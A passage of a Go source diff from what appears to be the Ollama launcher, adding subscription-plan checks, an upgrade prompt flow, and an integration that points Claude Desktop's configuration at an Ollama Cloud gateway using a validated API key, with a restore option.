if stateUpdates == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
out := make(chan []SelectionItem, 1)
|
||||
go func() {
|
||||
defer close(out)
|
||||
select {
|
||||
case state, ok := <-stateUpdates:
|
||||
if !ok || state == nil {
|
||||
return
|
||||
}
|
||||
select {
|
||||
case out <- SelectionItemsWithAccountState(items, state):
|
||||
case <-ctx.Done():
|
||||
}
|
||||
case <-ctx.Done():
|
||||
}
|
||||
}()
|
||||
return out
|
||||
}
|
||||
|
||||
func (c *launcherClient) accountStateUpdateSource(ctx context.Context) <-chan *AccountState {
|
||||
if c.accountStateUpdates != nil {
|
||||
return c.accountStateUpdates(ctx)
|
||||
}
|
||||
if c.apiClient == nil {
|
||||
return nil
|
||||
}
|
||||
out := make(chan *AccountState, 1)
|
||||
go func() {
|
||||
defer close(out)
|
||||
state := launchAccountState(ctx, c.apiClient)
|
||||
if state.Status == accountStateUnknown {
|
||||
return
|
||||
}
|
||||
select {
|
||||
case out <- &state:
|
||||
case <-ctx.Done():
|
||||
}
|
||||
}()
|
||||
return out
|
||||
}
|
||||
|
||||
func availabilityBadge(item ModelItem, state AccountState) string {
|
||||
if !isCloudModelName(item.Name) {
|
||||
return ""
|
||||
}
|
||||
switch state.Status {
|
||||
case accountStateSignedOut:
|
||||
if itemHasRecommendationMetadata(item) {
|
||||
return "Sign in required"
|
||||
}
|
||||
case accountStateSignedIn:
|
||||
if item.RequiredPlan != "" && !PlanSatisfies(state.Plan, item.RequiredPlan) {
|
||||
return "Upgrade required"
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func itemHasRecommendationMetadata(item ModelItem) bool {
|
||||
return item.Recommended || strings.TrimSpace(item.RequiredPlan) != ""
|
||||
}
|
||||
|
||||
func (c *launcherClient) ensureCloudModelAccess(ctx context.Context, model string) error {
|
||||
item, ok := c.modelRecommendationItem(ctx, model)
|
||||
if !ok || strings.TrimSpace(item.RequiredPlan) == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
state := launchAccountState(ctx, c.apiClient)
|
||||
if state.Status != accountStateUnknown {
|
||||
c.accountState = &state
|
||||
}
|
||||
if state.Status == accountStateUnknown {
|
||||
return ErrPlanVerificationUnavailable
|
||||
}
|
||||
|
||||
if state.Status == accountStateSignedOut {
|
||||
if err := ensureCloudAuth(ctx, c.apiClient, model); err != nil {
|
||||
return err
|
||||
}
|
||||
state = launchAccountState(ctx, c.apiClient)
|
||||
if state.Status != accountStateUnknown {
|
||||
c.accountState = &state
|
||||
}
|
||||
if state.Status == accountStateUnknown {
|
||||
return ErrPlanVerificationUnavailable
|
||||
}
|
||||
}
|
||||
|
||||
if PlanSatisfies(state.Plan, item.RequiredPlan) {
|
||||
return nil
|
||||
}
|
||||
|
||||
if err := c.runUpgradeFlow(ctx, item); err != nil {
|
||||
return err
|
||||
}
|
||||
state = launchAccountState(ctx, c.apiClient)
|
||||
if state.Status == accountStateUnknown {
|
||||
return ErrPlanVerificationUnavailable
|
||||
}
|
||||
if state.Status != accountStateSignedIn || !PlanSatisfies(state.Plan, item.RequiredPlan) {
|
||||
return errUpgradeCancelled
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *launcherClient) modelRecommendationItem(ctx context.Context, model string) (ModelItem, bool) {
|
||||
for _, item := range c.recommendations(ctx) {
|
||||
if item.Name == model {
|
||||
return item, true
|
||||
}
|
||||
}
|
||||
return ModelItem{}, false
|
||||
}
|
||||
|
||||
func (c *launcherClient) runUpgradeFlow(ctx context.Context, item ModelItem) error {
|
||||
if DefaultUpgrade != nil {
|
||||
if _, err := DefaultUpgrade(item.Name, item.RequiredPlan); err != nil {
|
||||
if errors.Is(err, ErrCancelled) {
|
||||
return errUpgradeCancelled
|
||||
}
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
yes, err := ConfirmPrompt(fmt.Sprintf("Upgrade to use %s?", item.Name))
|
||||
if errors.Is(err, ErrCancelled) {
|
||||
return errUpgradeCancelled
|
||||
}
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if !yes {
|
||||
return errUpgradeCancelled
|
||||
}
|
||||
|
||||
fmt.Fprintf(os.Stderr, "\nTo upgrade, navigate to:\n %s\n\n", DefaultUpgradeURL)
|
||||
openNow, err := ConfirmPrompt("Open now?")
|
||||
if errors.Is(err, ErrCancelled) {
|
||||
return errUpgradeCancelled
|
||||
}
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if openNow {
|
||||
OpenBrowser(DefaultUpgradeURL)
|
||||
} else {
|
||||
return errUpgradeCancelled
|
||||
}
|
||||
|
||||
spinnerFrames := []string{"|", "/", "-", "\\"}
|
||||
frame := 0
|
||||
fmt.Fprintf(os.Stderr, "\033[90mwaiting for upgrade to complete... %s\033[0m", spinnerFrames[0])
|
||||
|
||||
ticker := time.NewTicker(200 * time.Millisecond)
|
||||
defer ticker.Stop()
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
fmt.Fprintf(os.Stderr, "\r\033[K")
|
||||
return ctx.Err()
|
||||
case <-ticker.C:
|
||||
frame++
|
||||
fmt.Fprintf(os.Stderr, "\r\033[90mwaiting for upgrade to complete... %s\033[0m", spinnerFrames[frame%len(spinnerFrames)])
|
||||
if frame%10 != 0 {
|
||||
continue
|
||||
}
|
||||
state := launchAccountState(ctx, c.apiClient)
|
||||
if state.Status == accountStateUnknown {
|
||||
fmt.Fprintf(os.Stderr, "\r\033[K")
|
||||
return ErrPlanVerificationUnavailable
|
||||
}
|
||||
if state.Status == accountStateSignedIn && PlanSatisfies(state.Plan, item.RequiredPlan) {
|
||||
fmt.Fprintf(os.Stderr, "\r\033[K\033[A\r\033[K\033[1mplan updated\033[0m\n")
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// PlanSatisfies reports whether currentPlan can use a model that has a requiredPlan.
|
||||
func PlanSatisfies(currentPlan, requiredPlan string) bool {
|
||||
required := normalizePlan(requiredPlan)
|
||||
if required == "" || required == "free" {
|
||||
return true
|
||||
}
|
||||
current := normalizePlan(currentPlan)
|
||||
return current != "" && current != "free"
|
||||
}
|
||||
|
||||
func normalizePlan(plan string) string {
|
||||
return strings.ToLower(strings.TrimSpace(plan))
|
||||
}
|
||||
@@ -44,7 +44,7 @@ func (c *Claude) findPath() (string, error) {
|
||||
return fallback, nil
|
||||
}
|
||||
|
||||
func (c *Claude) Run(model string, args []string) error {
|
||||
func (c *Claude) Run(model string, _ []LaunchModel, args []string) error {
|
||||
claudePath, err := c.findPath()
|
||||
if err != nil {
|
||||
return fmt.Errorf("claude is not installed, install from https://code.claude.com/docs/en/quickstart")
|
||||
|
||||
@@ -0,0 +1,888 @@
|
||||
package launch
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/ollama/ollama/cmd/config"
|
||||
"github.com/ollama/ollama/cmd/internal/fileutil"
|
||||
"golang.org/x/term"
|
||||
)
|
||||
|
||||
const (
|
||||
claudeDesktopIntegrationName = "claude-desktop"
|
||||
claudeDesktopProfileName = "Ollama"
|
||||
claudeDesktopProfileID = "00000000-0000-4000-8000-000000000114"
|
||||
claudeDesktopGatewayBaseURL = "https://ollama.com"
|
||||
claudeDesktopAPIKeyURL = "https://ollama.com/settings/keys"
|
||||
claudeDesktopModelLabel = "Ollama Cloud"
|
||||
claudeDesktopUnsupported = "Claude Desktop is no longer supported. Existing installations can be restored with 'ollama launch claude-desktop --restore'."
|
||||
claudeDesktopSuccessMessage = "Claude Desktop profile changed to Ollama Cloud."
|
||||
claudeDesktopRestoreMessage = "To restore the usual Claude profile, run: ollama launch claude-desktop --restore"
|
||||
claudeDesktopRestoredMessage = "Claude Desktop restored to the usual Claude profile."
|
||||
)
|
||||
|
||||
var (
|
||||
claudeDesktopGOOS = runtime.GOOS
|
||||
claudeDesktopUserHome = os.UserHomeDir
|
||||
claudeDesktopStat = os.Stat
|
||||
claudeDesktopOpenApp = defaultClaudeDesktopOpenApp
|
||||
claudeDesktopOpenAppPath = defaultClaudeDesktopOpenAppPath
|
||||
claudeDesktopQuitApp = defaultClaudeDesktopQuitApp
|
||||
claudeDesktopIsRunning = defaultClaudeDesktopIsRunning
|
||||
claudeDesktopRunningAppPath = defaultClaudeDesktopRunningAppPath
|
||||
claudeDesktopGlob = filepath.Glob
|
||||
claudeDesktopSleep = time.Sleep
|
||||
claudeDesktopHTTPClient = http.DefaultClient
|
||||
claudeDesktopPromptAPIKey = promptClaudeDesktopAPIKey
|
||||
claudeDesktopValidateAPIKey = validateClaudeDesktopAPIKey
|
||||
)
|
||||
|
||||
// ClaudeDesktop configures and launches Claude Desktop in third-party
|
||||
// inference mode using Ollama Cloud as the gateway.
|
||||
type ClaudeDesktop struct{}
|
||||
|
||||
func (c *ClaudeDesktop) String() string { return "Claude Desktop" }
|
||||
|
||||
func (c *ClaudeDesktop) Supported() error { return claudeDesktopSupported() }
|
||||
|
||||
func (c *ClaudeDesktop) Paths() []string {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *ClaudeDesktop) AutodiscoveredModel() string {
|
||||
return claudeDesktopModelLabel
|
||||
}
|
||||
|
||||
func (c *ClaudeDesktop) ConfigureAutodiscovery() error {
|
||||
if err := claudeDesktopSupported(); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
targets, err := claudeDesktopTargetPaths()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
key, err := claudeDesktopValidatedAPIKey(context.Background(), claudeDesktopTargetProfilePaths(targets))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
for _, path := range targets.normalConfigs {
|
||||
if err := writeClaudeDesktopDeploymentMode(path, "3p"); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
for _, target := range targets.thirdPartyProfiles {
|
||||
if err := writeClaudeDesktopDeploymentMode(target.desktopConfig, "3p"); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := writeClaudeDesktopMeta(target.meta, claudeDesktopProfileID, claudeDesktopProfileName); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := writeClaudeDesktopGatewayProfile(target.profile, key, true); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *ClaudeDesktop) RestoreHint() string {
|
||||
return claudeDesktopRestoreMessage
|
||||
}
|
||||
|
||||
func (c *ClaudeDesktop) ConfigurationSuccessMessage() string {
|
||||
return claudeDesktopSuccessMessage + "\n" + claudeDesktopRestoreMessage
|
||||
}
|
||||
|
||||
func (c *ClaudeDesktop) RestoreSuccessMessage() string {
|
||||
return claudeDesktopRestoredMessage
|
||||
}
|
||||
|
||||
func (c *ClaudeDesktop) AutodiscoveryConfigured() bool {
|
||||
targets, err := claudeDesktopTargetPaths()
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return claudeDesktopTargetsConfigured(targets)
|
||||
}
|
||||
|
||||
func (c *ClaudeDesktop) Onboard() error {
|
||||
return config.MarkIntegrationOnboarded(claudeDesktopIntegrationName)
|
||||
}
|
||||
|
||||
func (c *ClaudeDesktop) RequiresInteractiveOnboarding() bool {
|
||||
return false
|
||||
}
|
||||
|
||||
func (c *ClaudeDesktop) SkipModelReadiness() bool {
|
||||
return true
|
||||
}
|
||||
|
||||
func (c *ClaudeDesktop) Run(_ string, _ []LaunchModel, _ []string) error {
|
||||
return errClaudeDesktopUnsupported()
|
||||
}
|
||||
|
||||
func (c *ClaudeDesktop) Restore() error {
|
||||
if err := claudeDesktopSupported(); err != nil {
|
||||
return err
|
||||
}
|
||||
targets, err := claudeDesktopTargetPaths()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
for _, path := range targets.normalConfigs {
|
||||
if err := writeClaudeDesktopDeploymentMode(path, "1p"); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
for _, target := range targets.thirdPartyProfiles {
|
||||
if err := writeClaudeDesktopDeploymentMode(target.desktopConfig, "1p"); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := restoreClaudeDesktopMeta(target.meta); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := restoreClaudeDesktopOllamaProfile(target.profile); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return claudeDesktopLaunchOrRestart("Restart Claude Desktop to use the usual Claude profile?")
|
||||
}
|
||||
|
||||
func errClaudeDesktopUnsupported() error {
|
||||
return errors.New(claudeDesktopUnsupported)
|
||||
}
|
||||
|
||||
func claudeDesktopSupported() error {
|
||||
switch claudeDesktopGOOS {
|
||||
case "darwin", "windows":
|
||||
return nil
|
||||
default:
|
||||
return fmt.Errorf("Claude Desktop launch is only supported on macOS and Windows")
|
||||
}
|
||||
}
|
||||
|
||||
func claudeDesktopInstalled() bool {
|
||||
if claudeDesktopAppPath() != "" {
|
||||
return true
|
||||
}
|
||||
if claudeDesktopGOOS == "windows" && claudeDesktopIsRunning() {
|
||||
return true
|
||||
}
|
||||
for _, dir := range claudeDesktopProfileDirCandidates(false) {
|
||||
if _, err := claudeDesktopStat(dir); err == nil {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func claudeDesktopAppPath() string {
|
||||
if claudeDesktopGOOS != "darwin" && claudeDesktopGOOS != "windows" {
|
||||
return ""
|
||||
}
|
||||
for _, path := range claudeDesktopAppCandidates() {
|
||||
if _, err := claudeDesktopStat(path); err == nil {
|
||||
return path
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func claudeDesktopAppCandidates() []string {
|
||||
switch claudeDesktopGOOS {
|
||||
case "darwin":
|
||||
return claudeDesktopDarwinAppCandidates()
|
||||
case "windows":
|
||||
return claudeDesktopWindowsAppCandidates()
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
func claudeDesktopDarwinAppCandidates() []string {
|
||||
candidates := []string{"/Applications/Claude.app"}
|
||||
if home, err := claudeDesktopUserHome(); err == nil {
|
||||
candidates = append(candidates, filepath.Join(home, "Applications", "Claude.app"))
|
||||
}
|
||||
return candidates
|
||||
}
|
||||
|
||||
func claudeDesktopWindowsAppCandidates() []string {
|
||||
local, err := claudeDesktopLocalAppData()
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
candidates := []string{
|
||||
filepath.Join(local, "Programs", "Claude", "Claude.exe"),
|
||||
filepath.Join(local, "Programs", "Claude Desktop", "Claude.exe"),
|
||||
filepath.Join(local, "Claude", "Claude.exe"),
|
||||
filepath.Join(local, "Claude Nest", "Claude.exe"),
|
||||
filepath.Join(local, "Claude Desktop", "Claude.exe"),
|
||||
filepath.Join(local, "AnthropicClaude", "Claude.exe"),
|
||||
}
|
||||
for _, pattern := range []string{
|
||||
filepath.Join(local, "AnthropicClaude", "app-*", "Claude.exe"),
|
||||
filepath.Join(local, "Programs", "Claude", "app-*", "Claude.exe"),
|
||||
filepath.Join(local, "Programs", "Claude Desktop", "app-*", "Claude.exe"),
|
||||
} {
|
||||
matches, _ := claudeDesktopGlob(pattern)
|
||||
candidates = append(candidates, matches...)
|
||||
}
|
||||
return claudeDesktopDedupePaths(candidates)
|
||||
}
|
||||
|
||||
func claudeDesktopDedupePaths(paths []string) []string {
|
||||
out := make([]string, 0, len(paths))
|
||||
seen := make(map[string]bool, len(paths))
|
||||
for _, path := range paths {
|
||||
if strings.TrimSpace(path) == "" {
|
||||
continue
|
||||
}
|
||||
key := strings.ToLower(path)
|
||||
if seen[key] {
|
||||
continue
|
||||
}
|
||||
seen[key] = true
|
||||
out = append(out, path)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
type claudeDesktopPaths struct {
|
||||
normalConfig string
|
||||
desktopConfig string
|
||||
meta string
|
||||
profile string
|
||||
}
|
||||
|
||||
type claudeDesktopThirdPartyPaths struct {
|
||||
desktopConfig string
|
||||
meta string
|
||||
profile string
|
||||
}
|
||||
|
||||
type claudeDesktopTargets struct {
|
||||
normalConfigs []string
|
||||
thirdPartyProfiles []claudeDesktopThirdPartyPaths
|
||||
}
|
||||
|
||||
func claudeDesktopConfigPaths() (claudeDesktopPaths, error) {
|
||||
switch claudeDesktopGOOS {
|
||||
case "darwin":
|
||||
return claudeDesktopDarwinConfigPaths()
|
||||
case "windows":
|
||||
return claudeDesktopWindowsConfigPaths()
|
||||
default:
|
||||
return claudeDesktopPaths{}, claudeDesktopSupported()
|
||||
}
|
||||
}
|
||||
|
||||
func claudeDesktopDarwinConfigPaths() (claudeDesktopPaths, error) {
|
||||
normalRoots, thirdPartyRoots, err := claudeDesktopDarwinProfileRoots()
|
||||
if err != nil {
|
||||
return claudeDesktopPaths{}, err
|
||||
}
|
||||
normalBase := normalRoots[0]
|
||||
thirdPartyBase := thirdPartyRoots[0]
|
||||
return claudeDesktopPaths{
|
||||
normalConfig: filepath.Join(normalBase, "claude_desktop_config.json"),
|
||||
desktopConfig: filepath.Join(thirdPartyBase, "claude_desktop_config.json"),
|
||||
meta: filepath.Join(thirdPartyBase, "configLibrary", "_meta.json"),
|
||||
profile: filepath.Join(thirdPartyBase, "configLibrary", claudeDesktopProfileID+".json"),
|
||||
}, nil
|
||||
}
|
||||
|
||||
func claudeDesktopWindowsConfigPaths() (claudeDesktopPaths, error) {
|
||||
normalBase, err := claudeDesktopProfileDir(true)
|
||||
if err != nil {
|
||||
return claudeDesktopPaths{}, err
|
||||
}
|
||||
thirdPartyBase, err := claudeDesktopProfileDir(false)
|
||||
if err != nil {
|
||||
return claudeDesktopPaths{}, err
|
||||
}
|
||||
return claudeDesktopPaths{
|
||||
normalConfig: filepath.Join(normalBase, "claude_desktop_config.json"),
|
||||
desktopConfig: filepath.Join(thirdPartyBase, "claude_desktop_config.json"),
|
||||
meta: filepath.Join(thirdPartyBase, "configLibrary", "_meta.json"),
|
||||
profile: filepath.Join(thirdPartyBase, "configLibrary", claudeDesktopProfileID+".json"),
|
||||
}, nil
|
||||
}
|
||||
|
||||
func claudeDesktopProfileDir(normal bool) (string, error) {
|
||||
candidates := claudeDesktopProfileDirCandidates(normal)
|
||||
if len(candidates) == 0 {
|
||||
return "", fmt.Errorf("Claude Desktop profile directory could not be resolved")
|
||||
}
|
||||
for _, candidate := range candidates {
|
||||
if _, err := claudeDesktopStat(candidate); err == nil {
|
||||
return candidate, nil
|
||||
}
|
||||
}
|
||||
return candidates[0], nil
|
||||
}
|
||||
|
||||
func claudeDesktopProfileDirCandidates(normal bool) []string {
|
||||
if claudeDesktopGOOS != "windows" {
|
||||
return nil
|
||||
}
|
||||
normalRoots, thirdPartyRoots, err := claudeDesktopWindowsProfileRoots()
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
if normal {
|
||||
return normalRoots
|
||||
}
|
||||
return thirdPartyRoots
|
||||
}
|
||||
|
||||
func claudeDesktopDarwinProfileRoots() ([]string, []string, error) {
|
||||
home, err := claudeDesktopUserHome()
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
base := filepath.Join(home, "Library", "Application Support")
|
||||
return []string{filepath.Join(base, "Claude")}, []string{filepath.Join(base, "Claude-3p")}, nil
|
||||
}
|
||||
|
||||
func claudeDesktopWindowsProfileRoots() ([]string, []string, error) {
|
||||
local, err := claudeDesktopLocalAppData()
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
normalRoots := []string{
|
||||
filepath.Join(local, "Claude"),
|
||||
filepath.Join(local, "Claude Nest"),
|
||||
}
|
||||
thirdPartyRoots := []string{
|
||||
filepath.Join(local, "Claude-3p"),
|
||||
filepath.Join(local, "Claude Nest-3p"),
|
||||
}
|
||||
return normalRoots, thirdPartyRoots, nil
|
||||
}
|
||||
|
||||
func claudeDesktopTargetPaths() (claudeDesktopTargets, error) {
|
||||
var (
|
||||
normalRoots []string
|
||||
thirdPartyRoots []string
|
||||
err error
|
||||
)
|
||||
|
||||
switch claudeDesktopGOOS {
|
||||
case "darwin":
|
||||
normalRoots, thirdPartyRoots, err = claudeDesktopDarwinProfileRoots()
|
||||
case "windows":
|
||||
normalRoots, thirdPartyRoots, err = claudeDesktopWindowsProfileRoots()
|
||||
default:
|
||||
err = claudeDesktopSupported()
|
||||
}
|
||||
if err != nil {
|
||||
return claudeDesktopTargets{}, err
|
||||
}
|
||||
|
||||
return newClaudeDesktopTargets(normalRoots, thirdPartyRoots), nil
|
||||
}
|
||||
|
||||
func newClaudeDesktopTargets(normalRoots, thirdPartyRoots []string) claudeDesktopTargets {
|
||||
targets := claudeDesktopTargets{}
|
||||
for _, root := range claudeDesktopDedupePaths(normalRoots) {
|
||||
targets.normalConfigs = append(targets.normalConfigs, filepath.Join(root, "claude_desktop_config.json"))
|
||||
}
|
||||
for _, root := range claudeDesktopDedupePaths(thirdPartyRoots) {
|
||||
targets.thirdPartyProfiles = append(targets.thirdPartyProfiles, claudeDesktopThirdPartyPaths{
|
||||
desktopConfig: filepath.Join(root, "claude_desktop_config.json"),
|
||||
meta: filepath.Join(root, "configLibrary", "_meta.json"),
|
||||
profile: filepath.Join(root, "configLibrary", claudeDesktopProfileID+".json"),
|
||||
})
|
||||
}
|
||||
return targets
|
||||
}
|
||||
|
||||
func claudeDesktopTargetProfilePaths(targets claudeDesktopTargets) []string {
|
||||
paths := make([]string, 0, len(targets.thirdPartyProfiles))
|
||||
for _, target := range targets.thirdPartyProfiles {
|
||||
paths = append(paths, target.profile)
|
||||
}
|
||||
return paths
|
||||
}
|
||||
|
||||
func claudeDesktopLocalAppData() (string, error) {
|
||||
if local := strings.TrimSpace(os.Getenv("LOCALAPPDATA")); local != "" {
|
||||
return local, nil
|
||||
}
|
||||
if home := strings.TrimSpace(os.Getenv("USERPROFILE")); home != "" {
|
||||
return filepath.Join(home, "AppData", "Local"), nil
|
||||
}
|
||||
home, err := claudeDesktopUserHome()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Join(home, "AppData", "Local"), nil
|
||||
}
|
||||
|
||||
type claudeDesktopAPIKeySource int
|
||||
|
||||
const (
|
||||
claudeDesktopAPIKeySourceNone claudeDesktopAPIKeySource = iota
|
||||
claudeDesktopAPIKeySourceEnv
|
||||
claudeDesktopAPIKeySourceProfile
|
||||
)
|
||||
|
||||
func claudeDesktopValidatedAPIKey(ctx context.Context, profilePaths []string) (string, error) {
|
||||
key, source, err := claudeDesktopAPIKey(profilePaths)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := claudeDesktopValidateAPIKey(ctx, key); err == nil {
|
||||
return key, nil
|
||||
} else if source != claudeDesktopAPIKeySourceProfile || !canPromptClaudeDesktopAPIKey() {
|
||||
return "", err
|
||||
}
|
||||
return promptValidClaudeDesktopAPIKey(ctx)
|
||||
}
|
||||
|
||||
func claudeDesktopAPIKey(profilePaths []string) (string, claudeDesktopAPIKeySource, error) {
|
||||
if key := strings.TrimSpace(os.Getenv("OLLAMA_API_KEY")); key != "" {
|
||||
return key, claudeDesktopAPIKeySourceEnv, nil
|
||||
}
|
||||
for _, profilePath := range profilePaths {
|
||||
if key := readClaudeDesktopGatewayAPIKey(profilePath); key != "" {
|
||||
return key, claudeDesktopAPIKeySourceProfile, nil
|
||||
}
|
||||
}
|
||||
key, err := promptClaudeDesktopAPIKeyValue()
|
||||
return key, claudeDesktopAPIKeySourceNone, err
|
||||
}
|
||||
|
||||
func canPromptClaudeDesktopAPIKey() bool {
|
||||
return isInteractiveSession() && !currentLaunchConfirmPolicy.requireYesMessage
|
||||
}
|
||||
|
||||
func promptValidClaudeDesktopAPIKey(ctx context.Context) (string, error) {
|
||||
key, err := promptClaudeDesktopAPIKeyValue()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := claudeDesktopValidateAPIKey(ctx, key); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return key, nil
|
||||
}
|
||||
|
||||
func promptClaudeDesktopAPIKeyValue() (string, error) {
|
||||
if !canPromptClaudeDesktopAPIKey() {
|
||||
return "", missingClaudeDesktopAPIKeyError()
|
||||
}
|
||||
key, err := claudeDesktopPromptAPIKey()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
key = strings.TrimSpace(key)
|
||||
if key == "" {
|
||||
return "", missingClaudeDesktopAPIKeyError()
|
||||
}
|
||||
return key, nil
|
||||
}
|
||||
|
||||
func missingClaudeDesktopAPIKeyError() error {
|
||||
return fmt.Errorf("OLLAMA_API_KEY is required for Claude Desktop. Create an API key at %s, then re-run with OLLAMA_API_KEY set", claudeDesktopAPIKeyURL)
|
||||
}
|
||||
|
||||
func promptClaudeDesktopAPIKey() (string, error) {
|
||||
fmt.Fprint(os.Stderr, claudeDesktopAPIKeyPrompt())
|
||||
key, err := term.ReadPassword(int(os.Stdin.Fd()))
|
||||
fmt.Fprintln(os.Stderr)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return string(key), nil
|
||||
}
|
||||
|
||||
func claudeDesktopAPIKeyPrompt() string {
|
||||
return fmt.Sprintf("Create an Ollama API key at %s\nEnter Ollama API key (input hidden): ", claudeDesktopAPIKeyURL)
|
||||
}
|
||||
|
||||
func readClaudeDesktopGatewayAPIKey(path string) string {
|
||||
cfg, err := readClaudeDesktopJSON(path)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
key, _ := cfg["inferenceGatewayApiKey"].(string)
|
||||
return strings.TrimSpace(key)
|
||||
}
|
||||
|
||||
func validateClaudeDesktopAPIKey(ctx context.Context, key string) error {
|
||||
ctx, cancel := context.WithTimeout(ctx, 15*time.Second)
|
||||
defer cancel()
|
||||
|
||||
if claudeDesktopAPIKeyHasInvalidHeaderChars(key) {
|
||||
return claudeDesktopAPIKeyVerificationError()
|
||||
}
|
||||
|
||||
req, err := http.NewRequestWithContext(ctx, http.MethodGet, claudeDesktopGatewayBaseURL+"/v1/models", nil)
|
||||
if err != nil {
|
||||
return claudeDesktopAPIKeyVerificationError()
|
||||
}
|
||||
req.Header.Set("Authorization", "Bearer "+key)
|
||||
req.Header.Set("Accept", "application/json")
|
||||
|
||||
resp, err := claudeDesktopHTTPClient.Do(req)
|
||||
if err != nil {
|
||||
return claudeDesktopAPIKeyVerificationError()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
_, _ = io.Copy(io.Discard, io.LimitReader(resp.Body, 4<<10))
|
||||
|
||||
switch {
|
||||
case resp.StatusCode == http.StatusUnauthorized || resp.StatusCode == http.StatusForbidden:
|
||||
return fmt.Errorf("Ollama API key was rejected; create a valid key at %s", claudeDesktopAPIKeyURL)
|
||||
case resp.StatusCode >= 200 && resp.StatusCode < 300:
|
||||
return nil
|
||||
default:
|
||||
return fmt.Errorf("could not verify Ollama API key; ollama.com returned status %d, try again later", resp.StatusCode)
|
||||
}
|
||||
}
|
||||
|
||||
func claudeDesktopAPIKeyHasInvalidHeaderChars(key string) bool {
|
||||
return strings.ContainsFunc(key, func(r rune) bool {
|
||||
return r < ' ' || r == 0x7f
|
||||
})
|
||||
}
|
||||
|
||||
func claudeDesktopAPIKeyVerificationError() error {
|
||||
return fmt.Errorf("could not verify Ollama API key; copy a key from %s and try again", claudeDesktopAPIKeyURL)
|
||||
}
|
||||
|
||||
func writeClaudeDesktopDeploymentMode(path, mode string) error {
|
||||
cfg, err := readClaudeDesktopJSONAllowMissing(path)
|
||||
if err != nil {
|
||||
return fmt.Errorf("parse Claude Desktop config: %w", err)
|
||||
}
|
||||
cfg["deploymentMode"] = mode
|
||||
return writeClaudeDesktopJSON(path, cfg)
|
||||
}
|
||||
|
||||
func writeClaudeDesktopMeta(path, id, name string) error {
|
||||
meta, err := readClaudeDesktopJSONAllowMissing(path)
|
||||
if err != nil {
|
||||
return fmt.Errorf("parse Claude Desktop config metadata: %w", err)
|
||||
}
|
||||
|
||||
meta["appliedId"] = id
|
||||
entries := make([]any, 0)
|
||||
for _, entry := range claudeDesktopAnySlice(meta["entries"]) {
|
||||
entryMap, _ := entry.(map[string]any)
|
||||
if entryMap == nil {
|
||||
entries = append(entries, entry)
|
||||
continue
|
||||
}
|
||||
if entryID, _ := entryMap["id"].(string); entryID == id {
|
||||
continue
|
||||
}
|
||||
entries = append(entries, entryMap)
|
||||
}
|
||||
entries = append(entries, map[string]any{
|
||||
"id": id,
|
||||
"name": name,
|
||||
})
|
||||
meta["entries"] = entries
|
||||
return writeClaudeDesktopJSON(path, meta)
|
||||
}
|
||||
|
||||
func writeClaudeDesktopGatewayProfile(path string, apiKey string, forceChooser bool) error {
|
||||
cfg, err := readClaudeDesktopJSONAllowMissing(path)
|
||||
if err != nil {
|
||||
return fmt.Errorf("parse Claude Desktop Ollama profile: %w", err)
|
||||
}
|
||||
cfg["inferenceProvider"] = "gateway"
|
||||
cfg["inferenceGatewayBaseUrl"] = claudeDesktopGatewayBaseURL
|
||||
cfg["inferenceGatewayApiKey"] = apiKey
|
||||
cfg["inferenceGatewayAuthScheme"] = "bearer"
|
||||
delete(cfg, "inferenceModels")
|
||||
cfg["disableDeploymentModeChooser"] = forceChooser
|
||||
return writeClaudeDesktopJSON(path, cfg)
|
||||
}
|
||||
|
||||
func restoreClaudeDesktopMeta(path string) error {
|
||||
meta, err := readClaudeDesktopJSONAllowMissing(path)
|
||||
if err != nil {
|
||||
return fmt.Errorf("parse Claude Desktop config metadata: %w", err)
|
||||
}
|
||||
if len(meta) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
changed := false
|
||||
